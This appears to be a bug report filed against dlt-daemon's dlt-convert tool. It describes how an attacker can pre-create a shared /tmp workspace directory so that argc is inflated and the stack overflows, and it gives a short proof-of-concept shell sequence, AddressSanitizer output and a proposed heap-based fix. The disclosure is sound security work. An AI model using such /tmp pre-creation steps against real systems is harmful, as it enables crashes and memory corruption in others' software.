[BUG] stack-overflow in `dlt-convert.c`
- Dominant language
- C
- Stars
- 459
- Forks
- 340
- Avg merge
- 4d 21h
- Merged PRs (30d)
- 2
Description
Hi team, I found another small issue here in `dlt-convert.c`
The code in `main` function extends `argc` based on the number of files in `/tmp/dlt_convert_workspace/` at line 400
```cpp
argc = optind + (n - 2);
```
However, /tmp is a system-wide shared directory. If a malicious user creates `/tmp/dlt_convert_workspace/` before `dlt-convert` is executed, the code will skip directory creation at line ~352, and the contents of `/tmp/dlt_convert_workspace/` become fully attacker-controlled.
If the attacker places a large number of files in that directory, `n` becomes large and `argc` is increased accordingly.
However, the size of `argv` remains unchanged.
Later, the following loop iterates up to the new, inflated `argc` value:
```cpp
for (index = optind; index < argc; index++) { // argc is larger than original_argc
...
argv[index] = tmp_filename; // CRASH, the size of argv is equal to original_argc
}
```
Leading to the crash.
### PoC
We can create a tar file with
```cpp
mkdir -p /tmp/dlt_convert_workspace/
for i in {1..20}; do touch "/tmp/dlt_convert_workspace/f_$i"; done // what malicious user can do
touch harmless.dlt
tar -cvf trigger.tar harmless.dlt
```
When we run
```
./src/console/dlt-convert -t trigger.tar
```
and we can see
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3027575==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd27524000 (pc 0x5a1de8786623 bp 0x7ffd275224f0 sp 0x7ffd2751f200 T0)
#0 0x5a1de8786623 in main /mnt/data3/weisong/ACT/fuz/targets/dlt-daemon/src/console/dlt-convert.c:409
#1 0x7e4693429d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#2 0x7e4693429e3f in __libc_start_main_impl ../csu/libc-start.c:392
#3 0x5a1de8786f94 in _start (/mnt/data3/weisong/ACT/fuz/targets/dlt-daemon/build-asan/src/console/dlt-convert+0x4f94)
SUMMARY: AddressSanitizer: stack-overflow /mnt/data3/weisong/ACT/fuz/targets/dlt-daemon/src/console/dlt-convert.c:409 in main
==3027575==ABORTING
```
### FIX
The memory allocated for `argv` by the OS is fixed and cannot be extended. Writing beyond `argv[original_argc]` corrupts the stack. We can allocate a dynamic array (e.g., char **file_list) on the heap using `malloc` to store the list of files to be processed.
If this makes sense, can I submit a pull request to fix it? : )
Contributor guide
No contributing guide indexed for this repository
Assessment
This issue has not been assessed yet.